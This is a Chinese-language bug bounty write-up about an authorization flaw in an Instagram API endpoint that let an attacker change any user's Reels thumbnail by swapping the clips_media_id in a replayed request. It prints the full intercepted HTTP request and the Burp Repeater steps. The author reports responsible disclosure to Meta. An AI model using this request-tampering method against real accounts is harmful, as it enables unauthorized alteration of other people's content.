大家好,我是来自印度的 20 岁的安全爱好者 Neeraj Sharma。

Facebook Reels 是一种短视频。您也可以观看创作者选择在Facebook 上推荐的Instagram 公开Reels。 Reels 是基于可能与您相关的内容进行推荐的,可能会在动态和Facebook Watch 等位置显示

描述

利用此漏洞,攻击者可以通过知道该用户的 clips_media_id(Media ID)来更改任何 Instagram 用户的reels缩略图。

那么我是如何发现这个错误的——故事情节

我于 2021 年 12 月开始在 Instagram 应用程序上搜索。最初,我在 Instagram 广告 GraphQL API 上进行了测试,但经过长时间的搜索,当我在那里找不到任何漏洞时,我开始在 Instagram reels部分搜索。在花了一些时间研究目标之后,我来到了用户可以编辑他们的reels封面照片(缩略图)的地步。为了测试,我改变了我的reels缩略图。我使用 burp 拦截了所有 HTTP 请求,在转发一些请求后,我看到了以下 HTTP 请求。

漏洞点:

POST /api/v1/media/configure_to_clips_cover_image/ HTTP/2Host: i.instagram.comX-Ig-App-Locale: en_USX-Ig-Device-Locale: en_USX-Ig-Mapped-Locale: en_USX-Pigeon-Session-Id: UFS-76e15775–9d76-xxxx-a9ff-9e773f1434f3–0X-Pigeon-Rawclienttime: 1652xxxxxx.203X-Ig-Bandwidth-Speed-Kbps: 92.000X-Ig-Bandwidth-Totalbytes-B: 524300X-Ig-Bandwidth-Totaltime-Ms: 5673X-Ig-App-Startup-Country: unknownX-Bloks-Version-Id: 74127b75369d49cc521218cd0a1bb32050ad33839d18cexxxxxxe9e414f68a79X-Ig-Www-Claim: hmac.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx-KOX-Bloks-Is-Layout-Rtl: falseX-Ig-Device-Id: 8893c680–7663–48a4–95dc-dd91bxxxxxxxX-Ig-Family-Device-Id: 8b068789–1e7a-45a6–8d3c-642edxxxxxxxX-Ig-Android-Id: android-acc0f44381add0deX-Ig-Timezone-Offset: -14400X-Ig-Nav-Chain: MainFeedFragment:feed_timeline:1:cold_start:10#230#301:2763122193696048,SelfFragment:self_profile:2:media_owner::,ClipsProfileTabFragment:clips_profile:3:button::,ClipsViewerFragment:clips_viewer_self_clips_profile:4:button::,ClipsViewerFragment:clips_viewer_self_clips_profile:5:button::,ClipsEditMetadataFragment:clips_editor:6:button::X-Ig-Connection-Type: WIFIX-Ig-Capabilities: 3brTv10=X-Ig-App-Id: 567067343352427Priority: u=3User-Agent: Instagram 226.0.0.16.117 Android (24/7.0; 320dpi; 720x1184; unknown/Android; vbox86p; vbox86; en_US; 356747126)Accept-Language: en-USAuthorization: Bearer IGT:2:<BASE64_Encoded_Token>X-Mid: YnJa7AABAAFBAWyzna1J4pu-Mf2eIg-U-Ig-Direct-Region-Hint: ASH,446xxxxxxx,168xxxxxxx:01f7b979c4246d13c5918e1c108d47035dcd6e26eac03b70a2019c4b49c9361859eb1339Ig-U-Shbid: 12xxx,446149xxxxx,16840xxxxx:01f768439426c8ad997598109a160dd7f2135290feded4dcd1b29a60cedb745fbxxxxxxxIg-U-Shbts: 165xxxxxxx,44614xxxxxx,16840xxxxx:01f78820938f9b9debf2f7e3d89f10ce673aa6d45008e7e9a850989367f753xxxxxxxcccIg-U-Ds-User-Id: 446xxxxxxxxIg-U-Rur: EAG,446xxxxxxxx,1684xxxxxx:01f711fcdae5108f17ec0239b6ef93fabe6befbe65d6e55f0006258ef5afxxxxxxxxxxxxIg-Intended-User-Id: 446xxxxxxxxContent-Type: application/x-www-form-urlencoded; charset=UTF-8Content-Length: 100Accept-Encoding: gzip, deflateX-Fb-Http-Engine: LigerX-Fb-Client-Ip: TrueX-Fb-Server-Cluster: True clips_media_id=2763122193610xxxxxx&_uuid=8893c680–766348a4–95dc-dd91b9xxxxxx&upload_id=326264xxxxxx


这里有两个主要参数:

clips_media_id

上传 ID

clip_media_id 是Media ID。Upload_id 是我要插入缩略图的照片。

将此请求发送到Burp的repeater模块后,然后将我的clips_media_id替换为我的测试reels的media_id并将请求转发到浏览器。令我惊讶的是,用户永远无法控制其缩略图的未经授权的测试reels被更改了。

我再次尝试使用我的其他帐户并将clips_media_id替换为我的第二个帐户 reels  ID。而不是我的第一个帐户reels,第二个帐户的缩略图发生了变化。

我很惊讶,因为我没想到像 META 这样的巨头的子公司会出现这种漏洞。我立即将其报告给META团队。

影响:

此错误允许恶意行为者更改 Instagram 上任何reels的缩略图。要执行此攻击,只需要目标用户reels的媒体 ID。

在信息安全CIA三要素中,完整性受到侵犯,攻击者的行为完全无视受害者的可访问性。因此考虑到 0 交互和元安全操作的最终影响分析。

Meta 团队决定获得 $$$$$ 的巨额奖励。概括地说,恶意行为者能够在没有任何授权或受害者交互的情况下在任何配置文件中伪造缩略图。这种影响非常广泛,并且围绕着大量不同的 Instagram 用户。

视频证明:https://youtu.be/1X7I25-rSqE

PS:所有测试都是在我的测试帐户上完成的 :)

演示结果如下图

seoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-181737-1655964077.png" style="margin:10px 0px;padding:0px;box-sizing:border-box;border-width:1px;border-style:solid;border-color:#EEEEEE;image-rendering:-webkit-optimize-contrast;max-width:90%;max-height:90%;cursor:zoom-in;" />

最后,我要感谢 Meta 安全团队提供的巨额赏金奖励